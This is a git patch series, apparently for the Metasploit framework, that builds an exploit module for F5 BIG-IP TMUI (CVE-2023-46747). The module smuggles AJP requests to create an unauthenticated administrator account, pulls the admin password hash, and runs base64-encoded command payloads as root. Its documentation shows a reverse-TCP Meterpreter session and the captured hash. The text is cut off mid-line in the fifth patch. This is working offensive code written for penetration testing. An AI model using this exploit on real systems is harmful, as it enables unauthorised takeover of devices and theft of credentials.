From 04388d9e25572127bc0ec45278a338e4d5651103 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 30 Oct 2023 18:57:38 -0400 Subject: [PATCH 1/9] Initial commit of CVE-2023-46747 --- .../http/f5_bigip_tmui_rce_cve_2023_46747.rb | 165 ++++++++++++++++++ 1 file changed, 165 insertions(+) create mode 100644 modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb diff --git a/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb new file mode 100644 index 000000000000..1909673d45fe --- /dev/null +++ b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb @@ -0,0 +1,165 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Retry + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'F5 BIG-IP TMUI AJP Smuggling RCE', + 'Description' => %q{ + This module exploits a flaw in F5's BIG-IP Traffic Management User + Interface (TMUI) that enables an external, unauthenticated attacker to + create an administrative user. Once the user is created, the module + uses the new account to execute a command payload. + }, + 'Author' => [ + 'Michael Weber', # vulnerability analysis + 'Thomas Hendrickson', # vulnerability analysis + 'Sandeep Singh', # nuclei template + 'Spencer McIntyre' # metasploit module + ], + 'References' => [ + ['CVE', '2023-46747'], + ['URL', 'https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/'], + ['URL', 'https://www.praetorian.com/blog/advisory-f5-big-ip-rce/'], + ['URL', 'https://my.f5.com/manage/s/article/K000137353'], + ['URL', 'https://github.com/projectdiscovery/nuclei-templates/pull/8496'] + ], + 'DisclosureDate' => '2023-10-26', # Vendor advisory + 'License' => MSF_LICENSE, + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD], + 'Privileged' => true, + 'Targets' => [ + [ + 'Command', + { + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD + } + ], + ], + 'DefaultOptions' => { + 'SSL' => true, + 'RPORT' => 443 + }, + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'Base path', '/']) + ]) + end + + def check; end + + def exploit + res = create_user + fail_with(Failure::UnexpectedReply, 'Failed to create the user.') unless res&.code == 200 + + new_password = Rex::Text.rand_text_alphanumeric(12) + changed = retry_until_truthy(timeout: 30) do + res = tmui_api_set_password(username, password, new_password) + res&.code == 200 + end + fail_with(Failure::UnexpectedReply, 'Failed to change the password.') unless changed + + @password = new_password + print_good("Created administrator user: #{username}:#{password}") + + res = tmui_api_login + fail_with(Failure::UnexpectedReply, 'Failed to login.') unless res&.code == 200 + + token = res.get_json_document.dig('token', 'token') + fail_with(Failure::UnexpectedReply, 'Failed to obtain a login token.') if token.blank? + + print_status("Obtained login token: #{token}") + + bash_cmd = "eval $(echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d)" + # this may or may not timeout + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'mgmt/tm/util/bash'), + 'headers' => { + 'Content-Type' => 'application/json', + 'X-F5-Auth-Token' => token + }, + 'data' => { 'command' => 'run', 'utilCmdArgs' => "-c '#{bash_cmd}'" }.to_json + ) + end + + def username + @username ||= Rex::Text.rand_text_alpha(5) # must be 5 characters + end + + def password + @password ||= Rex::Text.rand_text_alphanumeric(12) # must be 12 characters + end + + def create_user + data = "204\r\n" + data << "\x00\x08HTTP/1.1\x00\x00\x12/tmui/Control/form\x00\x00\t127.0.0.1\x00\x00\tlocalhost\x00\x00\tlocalhost\x00" + data << "\x00P\x00\x00\x03\x00\x0bTmui-Dubbuf\x00\x00\x0bBBBBBBBBBBB\x00\x00\nREMOTEROLE\x00\x00\x010\x00\xa0\x0b" + data << "\x00\tlocalhost\x00\x03\x00\x05admin\x00\x05\x01q_timenow=a&_timenow_before=&handler=%2ftmui%2fsystem%2f" + data << 'user%2fcreate&&&form_page=%2ftmui%2fsystem%2fuser%2fcreate.jsp%3f&form_page_before=&hideObjList=&_bufvalue=' + data << 'eIL4RUnSwXYoPUIOGcOFx2o00Xc%3d&_bufvalue_before=&systemuser-hidden=' + data << "[[\"Administrator\",\"[All]\"]]&systemuser-hidden_before=&name=#{username}" + data << "&name_before=&passwd=#{password}" + data << "&passwd_before=&finished=x&finished_before=\x00\xff\x00" + data << "\r\n0" + + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'tmui/login.jsp'), + 'headers' => { 'Transfer-Encoding' => 'chunked, chunked' }, + 'data' => data + ) + end + + def tmui_api_set_password(user, old_password, new_password) + send_request_cgi( + 'method' => 'PATCH', + 'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authz/users', user), + 'headers' => { + 'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}", + 'Content-Type' => 'application/json' + }, + 'data' => { 'oldPassword' => old_password, 'password' => new_password }.to_json + ) + end + + def tmui_api_login + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authn/login'), + 'headers' => { 'Content-Type' => 'application/json' }, + 'data' => { 'username' => username, 'password' => password }.to_json + ) + end + + def tmui_api_get_user(user) + send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authz/users', user), + 'headers' => { + 'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}", + 'Content-Type' => 'application/json' + } + ) + end +end From c803d6ef7e7394863b566155cde67b8d514d1a70 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 31 Oct 2023 15:27:31 -0400 Subject: [PATCH 2/9] Fetch the admin hash as a bonus --- .../http/f5_bigip_tmui_rce_cve_2023_46747.rb | 98 +++++++++++++++---- 1 file changed, 79 insertions(+), 19 deletions(-) diff --git a/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb index 1909673d45fe..b86da5038a2d 100644 --- a/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb +++ b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb @@ -51,12 +51,16 @@ def initialize(info = {}) ], 'DefaultOptions' => { 'SSL' => true, - 'RPORT' => 443 + 'RPORT' => 443, + 'FETCH_WRITABLE_DIR' => '/tmp' }, 'Notes' => { 'Stability' => [], 'Reliability' => [], - 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + 'SideEffects' => [ + IOC_IN_LOGS, + CONFIG_CHANGES # temporary user + ] } ) ) @@ -74,7 +78,7 @@ def exploit new_password = Rex::Text.rand_text_alphanumeric(12) changed = retry_until_truthy(timeout: 30) do - res = tmui_api_set_password(username, password, new_password) + res = big5_api_shared_set_password(username, password, new_password) res&.code == 200 end fail_with(Failure::UnexpectedReply, 'Failed to change the password.') unless changed @@ -82,7 +86,13 @@ def exploit @password = new_password print_good("Created administrator user: #{username}:#{password}") - res = tmui_api_login + res = big5_api_tm_get_user('admin') + if res&.code == 200 && (hash = res.get_json_document['encryptedPassword']).present? + print_good("Retrieved the admin hash: #{hash}") + report_hash('admin', hash) + end + + res = big5_api_shared_login fail_with(Failure::UnexpectedReply, 'Failed to login.') unless res&.code == 200 token = res.get_json_document.dig('token', 'token') @@ -103,35 +113,74 @@ def exploit ) end + def report_hash(user, hash) + jtr_format = Metasploit::Framework::Hashes.identify_hash(hash) + service_data = { + address: rhost, + port: rport, + service_name: 'F5 BIG-IP TMUI', + protocol: 'tcp', + workspace_id: myworkspace_id + } + credential_data = { + module_fullname: fullname, + origin_type: :service, + private_data: hash, + private_type: :nonreplayable_hash, + jtr_format: jtr_format, + username: user + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end + + def cleanup + big5_api_shared_delete_user(username) + end + def username @username ||= Rex::Text.rand_text_alpha(5) # must be 5 characters end def password - @password ||= Rex::Text.rand_text_alphanumeric(12) # must be 12 characters + @password ||= Rex::Text.rand_text_alphanumeric(12) # must be 12 characters end def create_user - data = "204\r\n" - data << "\x00\x08HTTP/1.1\x00\x00\x12/tmui/Control/form\x00\x00\t127.0.0.1\x00\x00\tlocalhost\x00\x00\tlocalhost\x00" - data << "\x00P\x00\x00\x03\x00\x0bTmui-Dubbuf\x00\x00\x0bBBBBBBBBBBB\x00\x00\nREMOTEROLE\x00\x00\x010\x00\xa0\x0b" - data << "\x00\tlocalhost\x00\x03\x00\x05admin\x00\x05\x01q_timenow=a&_timenow_before=&handler=%2ftmui%2fsystem%2f" - data << 'user%2fcreate&&&form_page=%2ftmui%2fsystem%2fuser%2fcreate.jsp%3f&form_page_before=&hideObjList=&_bufvalue=' - data << 'eIL4RUnSwXYoPUIOGcOFx2o00Xc%3d&_bufvalue_before=&systemuser-hidden=' - data << "[[\"Administrator\",\"[All]\"]]&systemuser-hidden_before=&name=#{username}" - data << "&name_before=&passwd=#{password}" - data << "&passwd_before=&finished=x&finished_before=\x00\xff\x00" - data << "\r\n0" + post_data = "204\r\n" + + ajp_data = "\x00\x08HTTP/1.1\x00\x00\x12/tmui/Control/form\x00\x00\t127.0.0.1\x00\x00\tlocalhost\x00\x00\tlocalhost\x00" + ajp_data << "\x00P\x00\x00\x03\x00\x0bTmui-Dubbuf\x00\x00\x0bBBBBBBBBBBB\x00\x00\nREMOTEROLE\x00\x00\x010\x00\xa0\x0b" + ajp_data << "\x00\tlocalhost\x00\x03\x00\x05admin\x00\x05\x01q_timenow=a&_timenow_before=&handler=%2ftmui%2fsystem%2f" + ajp_data << 'user%2fcreate&&&form_page=%2ftmui%2fsystem%2fuser%2fcreate.jsp%3f&form_page_before=&hideObjList=&_bufvalue=' + ajp_data << 'eIL4RUnSwXYoPUIOGcOFx2o00Xc%3d&_bufvalue_before=&systemuser-hidden=' + ajp_data << "[[\"Administrator\",\"[All]\"]]&systemuser-hidden_before=&name=#{username}" + ajp_data << "&name_before=&passwd=#{password}" + ajp_data << "&passwd_before=&finished=x&finished_before=\x00\xff\x00" + unless ajp_data.length == 0x204 # 516 bytes + # this is a developer error + raise 'AJP data must be 0x204 bytes.' + end + + post_data << ajp_data + post_data << "\r\n0" send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'tmui/login.jsp'), 'headers' => { 'Transfer-Encoding' => 'chunked, chunked' }, - 'data' => data + 'data' => post_data ) end - def tmui_api_set_password(user, old_password, new_password) + def big5_api_shared_set_password(user, old_password, new_password) send_request_cgi( 'method' => 'PATCH', 'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authz/users', user), @@ -143,7 +192,7 @@ def tmui_api_set_password(user, old_password, new_password) ) end - def tmui_api_login + def big5_api_shared_login send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authn/login'), @@ -152,9 +201,20 @@ def tmui_api_login ) end - def tmui_api_get_user(user) + def big5_api_tm_get_user(user) send_request_cgi( 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'mgmt/tm/auth/user', user), + 'headers' => { + 'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}", + 'Content-Type' => 'application/json' + } + ) + end + + def big5_api_shared_delete_user(user) + send_request_cgi( + 'method' => 'DELETE', 'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authz/users', user), 'headers' => { 'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}", From 714eeaaa3a0c38e288abb110a143e58c09007304 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 1 Nov 2023 15:39:20 -0400 Subject: [PATCH 3/9] Finish cleaning the exploit up --- lib/rex/proto/apache_j_p.rb | 128 ++++++++++++++++++ .../http/f5_bigip_tmui_rce_cve_2023_46747.rb | 98 ++++++++++---- 2 files changed, 199 insertions(+), 27 deletions(-) create mode 100644 lib/rex/proto/apache_j_p.rb diff --git a/lib/rex/proto/apache_j_p.rb b/lib/rex/proto/apache_j_p.rb new file mode 100644 index 000000000000..a60e8b64b59b --- /dev/null +++ b/lib/rex/proto/apache_j_p.rb @@ -0,0 +1,128 @@ +# -*- coding: binary -*- + +require 'bindata' + +# @see: https://tomcat.apache.org/tomcat-3.3-doc/ApacheJP.html +module Rex::Proto::ApacheJP + class ApacheJPBoolean < BinData::Primitive + endian :big + + uint8 :data + + def get + self.data != 0 + end + + def set(v) + self.data = v ? 1 : 0 + end + end + + class ApacheJPString < BinData::Primitive + endian :big + + uint16 :len, value: -> { data.length } + stringz :data + + def get + self.data + end + + def set(v) + self.data = v + end + end + + class ApacheJPReqHeaderName < BinData::Primitive + COMMON_HEADERS = %w{ accept accept-charset accept-encoding accept-language authorization connection content-type content-length cookie cookie2 host pragma referer user-agent } + endian :big + + uint16 :len_or_code + stringz :data, onlyif: -> { len_or_code < 0xa000 } + + def get + if len_or_code >= 0xa000 + COMMON_HEADERS[(len_or_code.to_i & 0xff) - 1] + else + self.data + end + end + + def set(v) + if (idx = COMMON_HEADERS.index(v)) + self.len_or_code = 0xa000 | (idx + 1) + else + raise RuntimeError if v.length >= 0xa000 + + self.len_or_code = v.length + self.data = v + end + end + end + + class ApacheJPRequestHeader < BinData::Record + endian :big + + apache_jp_req_header_name :header_name + apache_jp_string :header_value + end + + class ApacheJPRequestAttribute < BinData::Record + CODE_CONTEXT = 1 + CODE_SERVLET_PATH = 2 + CODE_REMOTE_USER = 3 + CODE_AUTH_TYPE = 4 + CODE_QUERY_STRING = 5 + CODE_JVM_ROUTE = 6 + CODE_SSL_CERT = 7 + CODE_SSL_CIPHER = 8 + CODE_SSL_SESSION = 9 + CODE_REQ_ATTRIBUTE = 10 + CODE_TERMINATOR = 0xff + + endian :big + + uint8 :code + apache_jp_string :attribute_value, onlyif: -> { code != CODE_TERMINATOR } + end + + # @see: https://tomcat.apache.org/tomcat-3.3-doc/ApacheJP.html#prefix-codes + class ApacheJPForwardRequest < BinData::Record + HTTP_METHOD_OPTIONS = 1 + HTTP_METHOD_GET = 2 + HTTP_METHOD_HEAD = 3 + HTTP_METHOD_POST = 4 + HTTP_METHOD_PUT = 5 + HTTP_METHOD_DELETE = 6 + HTTP_METHOD_TRACE = 7 + HTTP_METHOD_PROPFIND = 8 + HTTP_METHOD_PROPPATCH = 9 + HTTP_METHOD_MKCOL = 10 + HTTP_METHOD_COPY = 11 + HTTP_METHOD_MOVE = 12 + HTTP_METHOD_LOCK = 13 + HTTP_METHOD_UNLOCK = 14 + HTTP_METHOD_ACL = 15 + HTTP_METHOD_REPORT = 16 + HTTP_METHOD_VERSION_CONTROL = 17 + HTTP_METHOD_CHECKIN = 18 + HTTP_METHOD_CHECKOUT = 19 + HTTP_METHOD_UNCHECKOUT = 20 + HTTP_METHOD_SEARCH = 21 + + endian :big + + uint8 :prefix_code, value: 2 + uint8 :http_method + apache_jp_string :protocol, initial_value: 'HTTP/1.1' + apache_jp_string :req_uri + apache_jp_string :remote_addr + apache_jp_string :remote_host + apache_jp_string :server_name + uint16 :server_port, initial_value: -> { is_ssl ? 80 : 443 } + apache_jp_boolean :is_ssl, initial_value: false + uint16 :num_headers, initial_value: -> { headers.length } + array :headers, type: :apache_jp_request_header, initial_length: :num_headers + array :attributes, type: :apache_jp_request_attribute, read_until: -> { element.code == ApacheJPRequestAttribute::TERMINATOR } + end +end diff --git a/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb index b86da5038a2d..9ba7893bfe7c 100644 --- a/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb +++ b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb @@ -3,6 +3,8 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'rex/proto/apache_j_p' + class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -11,6 +13,8 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Retry + ApacheJP = Rex::Proto::ApacheJP + def initialize(info = {}) super( update_info( @@ -33,7 +37,8 @@ def initialize(info = {}) ['URL', 'https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/'], ['URL', 'https://www.praetorian.com/blog/advisory-f5-big-ip-rce/'], ['URL', 'https://my.f5.com/manage/s/article/K000137353'], - ['URL', 'https://github.com/projectdiscovery/nuclei-templates/pull/8496'] + ['URL', 'https://github.com/projectdiscovery/nuclei-templates/pull/8496'], + ['URL', 'https://attackerkb.com/topics/t52A9pctHn/cve-2023-46747/rapid7-analysis'] ], 'DisclosureDate' => '2023-10-26', # Vendor advisory 'License' => MSF_LICENSE, @@ -76,7 +81,7 @@ def exploit res = create_user fail_with(Failure::UnexpectedReply, 'Failed to create the user.') unless res&.code == 200 - new_password = Rex::Text.rand_text_alphanumeric(12) + new_password = Rex::Text.rand_text_alphanumeric(password.length) changed = retry_until_truthy(timeout: 30) do res = big5_api_shared_set_password(username, password, new_password) res&.code == 200 @@ -142,31 +147,81 @@ def report_hash(user, hash) end def cleanup - big5_api_shared_delete_user(username) + delete_user end def username - @username ||= Rex::Text.rand_text_alpha(5) # must be 5 characters + @username ||= Rex::Text.rand_text_alpha(6) end def password - @password ||= Rex::Text.rand_text_alphanumeric(12) # must be 12 characters + @password ||= Rex::Text.rand_text_alphanumeric(12..14) end def create_user - post_data = "204\r\n" - - ajp_data = "\x00\x08HTTP/1.1\x00\x00\x12/tmui/Control/form\x00\x00\t127.0.0.1\x00\x00\tlocalhost\x00\x00\tlocalhost\x00" - ajp_data << "\x00P\x00\x00\x03\x00\x0bTmui-Dubbuf\x00\x00\x0bBBBBBBBBBBB\x00\x00\nREMOTEROLE\x00\x00\x010\x00\xa0\x0b" - ajp_data << "\x00\tlocalhost\x00\x03\x00\x05admin\x00\x05\x01q_timenow=a&_timenow_before=&handler=%2ftmui%2fsystem%2f" - ajp_data << 'user%2fcreate&&&form_page=%2ftmui%2fsystem%2fuser%2fcreate.jsp%3f&form_page_before=&hideObjList=&_bufvalue=' - ajp_data << 'eIL4RUnSwXYoPUIOGcOFx2o00Xc%3d&_bufvalue_before=&systemuser-hidden=' - ajp_data << "[[\"Administrator\",\"[All]\"]]&systemuser-hidden_before=&name=#{username}" - ajp_data << "&name_before=&passwd=#{password}" - ajp_data << "&passwd_before=&finished=x&finished_before=\x00\xff\x00" + send_request_smuggled_ajp({ + 'handler' => '/tmui/system/user/create', + 'form_page' => '/tmui/system/user/create.jsp', + 'systemuser-hidden' => '[["Administrator","[All]"]]', + 'systemuser-hidden_before' => '', + 'name' => username, + 'name_before' => '', + 'passwd' => password, + 'passwd_before' => '', + 'finished' => 'x', + 'finished_before' => '' + }) + end + + def delete_user + send_request_smuggled_ajp({ + 'handler' => '/tmui/system/user/list', + 'form_page' => '/tmui/system/user/list.jsp', + 'checkbox0' => username, + 'checkbox0_before' => 'checked', + 'delete_confirm' => 'Delete', + 'delete_confirm_before' => 'Delete', + 'row_count' => '1', + 'row_count_before' => '1' + }) + end + + def send_request_smuggled_ajp(query) + post_data = "204\r\n" # do not change + + timenow = rand_text_numeric(1) + tmui_dubbuf = rand_text_alpha_upper(11) + + query = query.merge({ + '_bufvalue' => Base64.strict_encode64(OpenSSL::Digest::SHA1.new(tmui_dubbuf + timenow).digest), + '_bufvalue_before' => '', + '_timenow' => timenow, + '_timenow_before' => '' + }) + query_string = URI.encode_www_form(query).ljust(370, '&') + + # see: https://tomcat.apache.org/tomcat-3.3-doc/ApacheJP.html#prefix-codes + ajp_forward_request = ApacheJP::ApacheJPForwardRequest.new( + http_method: ApacheJP::ApacheJPForwardRequest::HTTP_METHOD_POST, + req_uri: '/tmui/Control/form', + remote_addr: '127.0.0.1', + remote_host: 'localhost', + server_name: 'localhost', + headers: [ + { header_name: 'Tmui-Dubbuf', header_value: tmui_dubbuf }, + { header_name: 'REMOTEROLE', header_value: '0' }, + { header_name: 'host', header_value: 'localhost' } + ], + attributes: [ + { code: ApacheJP::ApacheJPRequestAttribute::CODE_REMOTE_USER, attribute_value: 'admin' }, + { code: ApacheJP::ApacheJPRequestAttribute::CODE_QUERY_STRING, attribute_value: query_string }, + { code: ApacheJP::ApacheJPRequestAttribute::CODE_TERMINATOR } + ] + ) + ajp_data = ajp_forward_request.to_binary_s[2...] unless ajp_data.length == 0x204 # 516 bytes # this is a developer error - raise 'AJP data must be 0x204 bytes.' + raise "AJP data must be 0x204 bytes, is 0x#{ajp_data.length.to_s(16)} bytes." end post_data << ajp_data @@ -211,15 +266,4 @@ def big5_api_tm_get_user(user) } ) end - - def big5_api_shared_delete_user(user) - send_request_cgi( - 'method' => 'DELETE', - 'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authz/users', user), - 'headers' => { - 'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}", - 'Content-Type' => 'application/json' - } - ) - end end From 03252913a13a6d34c9774303ca25476214a4c6ab Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 1 Nov 2023 15:58:20 -0400 Subject: [PATCH 4/9] Add the check method --- .../http/f5_bigip_tmui_rce_cve_2023_46747.rb | 52 +++++++++++++------ 1 file changed, 35 insertions(+), 17 deletions(-) diff --git a/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb index 9ba7893bfe7c..36e6877611a3 100644 --- a/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb +++ b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb @@ -63,8 +63,8 @@ def initialize(info = {}) 'Stability' => [], 'Reliability' => [], 'SideEffects' => [ - IOC_IN_LOGS, - CONFIG_CHANGES # temporary user + IOC_IN_LOGS, # user creation events are logged + CONFIG_CHANGES # a temporary user is created then deleted ] } ) @@ -75,29 +75,36 @@ def initialize(info = {}) ]) end - def check; end + def check + res = create_user(role: 'Guest') + return CheckCode::Unknown unless res + return CheckCode::Safe unless res.code == 200 + + changed = update_user_password + return CheckCode::Safe unless changed + + user = bigip_api_tm_get_user(username) + return CheckCode::Safe unless user.get_json_document['kind'] == 'tm:auth:user:userstate' + + CheckCode::Vulnerable + end def exploit - res = create_user + res = create_user(role: 'Administrator') fail_with(Failure::UnexpectedReply, 'Failed to create the user.') unless res&.code == 200 - new_password = Rex::Text.rand_text_alphanumeric(password.length) - changed = retry_until_truthy(timeout: 30) do - res = big5_api_shared_set_password(username, password, new_password) - res&.code == 200 - end + changed = update_user_password fail_with(Failure::UnexpectedReply, 'Failed to change the password.') unless changed - @password = new_password print_good("Created administrator user: #{username}:#{password}") - res = big5_api_tm_get_user('admin') + res = bigip_api_tm_get_user('admin') if res&.code == 200 && (hash = res.get_json_document['encryptedPassword']).present? print_good("Retrieved the admin hash: #{hash}") report_hash('admin', hash) end - res = big5_api_shared_login + res = bigip_api_shared_login fail_with(Failure::UnexpectedReply, 'Failed to login.') unless res&.code == 200 token = res.get_json_document.dig('token', 'token') @@ -158,11 +165,12 @@ def password @password ||= Rex::Text.rand_text_alphanumeric(12..14) end - def create_user + def create_user(role:) + # for roles and descriptions, see: https://techdocs.f5.com/kb/en-us/products/big-ip_ltm/manuals/product/bigip-user-account-administration-11-6-0/3.html send_request_smuggled_ajp({ 'handler' => '/tmui/system/user/create', 'form_page' => '/tmui/system/user/create.jsp', - 'systemuser-hidden' => '[["Administrator","[All]"]]', + 'systemuser-hidden' => "[[\"#{role}\",\"[All]\"]]", 'systemuser-hidden_before' => '', 'name' => username, 'name_before' => '', @@ -186,6 +194,16 @@ def delete_user }) end + def update_user_password + new_password = Rex::Text.rand_text_alphanumeric(password.length) + changed = retry_until_truthy(timeout: 30) do + res = bigip_api_shared_set_password(username, password, new_password) + res&.code == 200 + end + @password = new_password if changed + changed + end + def send_request_smuggled_ajp(query) post_data = "204\r\n" # do not change @@ -235,7 +253,7 @@ def send_request_smuggled_ajp(query) ) end - def big5_api_shared_set_password(user, old_password, new_password) + def bigip_api_shared_set_password(user, old_password, new_password) send_request_cgi( 'method' => 'PATCH', 'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authz/users', user), @@ -247,7 +265,7 @@ def big5_api_shared_set_password(user, old_password, new_password) ) end - def big5_api_shared_login + def bigip_api_shared_login send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authn/login'), @@ -256,7 +274,7 @@ def big5_api_shared_login ) end - def big5_api_tm_get_user(user) + def bigip_api_tm_get_user(user) send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'mgmt/tm/auth/user', user), From 7b53592b4f44b70bee8979f7a3e5919d96455aac Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 1 Nov 2023 16:40:35 -0400 Subject: [PATCH 5/9] Add module docs --- .../http/f5_bigip_tmui_rce_cve_2023_46747.md | 76 +++++++++++++++++++ .../http/f5_bigip_tmui_rce_cve_2023_46747.rb | 5 +- 2 files changed, 78 insertions(+), 3 deletions(-) create mode 100644 documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747.md diff --git a/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747.md b/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747.md new file mode 100644 index 000000000000..149830eee036 --- /dev/null +++ b/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747.md @@ -0,0 +1,76 @@ +## Vulnerable Application + +### Description + +This module exploits a flaw in F5's BIG-IP Traffic Management User Interface (TMUI) that enables an external, +unauthenticated attacker to create an administrative user. Once the user is created, the module uses the new account to +execute a command payload. + +Tested against the VMware OVA release of 16.1.2.1-0.0.10 and 17.0.0.1-0.0.4. + +### Setup + +Download BIGIP-17.0.0.1-0.0.4.ALL-vmware.ova and import it into your desired virtualization software. + +The target does not need to be licensed to be vulnerable. + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747` +4. Set the `RHOST`, `PAYLOAD` and payload-related options +5. Do: `run` +6. You should get a shell. + +## Targets + +### Command + +This executes an OS command on the target device. + +## Options + +## Scenarios + +### F5 BIG-IP 17.0.0.1-0.0.4 + +``` +msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set RHOSTS 192.168.159.32 +RHOSTS => 192.168.159.32 +msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp +PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp +msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set LHOST 192.168.159.128 +LHOST => 192.168.159.128 +msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > check +[+] 192.168.159.32:443 - The target is vulnerable. +msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > exploit + +[*] Started reverse TCP handler on 192.168.159.128:4444 +[+] Admin user was created successfully. Credentials: UyPzjB - qu0k7MxIzIDlvS +[+] Retrieved the admin hash: $6$gquMefr5$HGA8j7xLzHq2cfZOSudg6g6vETPpHthWOSWJtCtYd1sWRoNGCLnAQKbRvQoRm1QgEm8fC3HfH5tLI9KSSr8M10 +[*] Obtained login token: 4TAZKYHLZCHPQX3FC47VWNSEUA +[*] Sending stage (24768 bytes) to 192.168.159.32 +[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.32:35438) at 2023-11-01 16:36:04 -0400 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : f5test2.home.lan +OS : Linux 3.10.0-862.14.4.el7.ve.x86_64 #1 SMP Thu Jul 14 23:41:24 PDT 2022 +Architecture : x64 +Meterpreter : python/linux +meterpreter > pwd +/var/service/restjavad +meterpreter > background +[*] Backgrounding session 1... +msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > creds +Credentials +=========== + +host origin service public private realm private_type JtR Format cracked_password +---- ------ ------- ------ ------- ----- ------------ ---------- ---------------- +192.168.159.32 192.168.159.32 443/tcp (F5 BIG-IP TMUI) admin $6$gquMefr5$HGA8j7xLzHq2cfZOSudg6g6vETPpHthWOSWJtCtYd1sWRoNGCLnAQKbRvQoRm1QgEm8fC3HfH5t (TRUNCATED) Nonreplayable hash sha512,crypt + +msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > +``` diff --git a/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb index 36e6877611a3..51a517db22b3 100644 --- a/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb +++ b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb @@ -9,7 +9,6 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking - prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Retry @@ -60,7 +59,7 @@ def initialize(info = {}) 'FETCH_WRITABLE_DIR' => 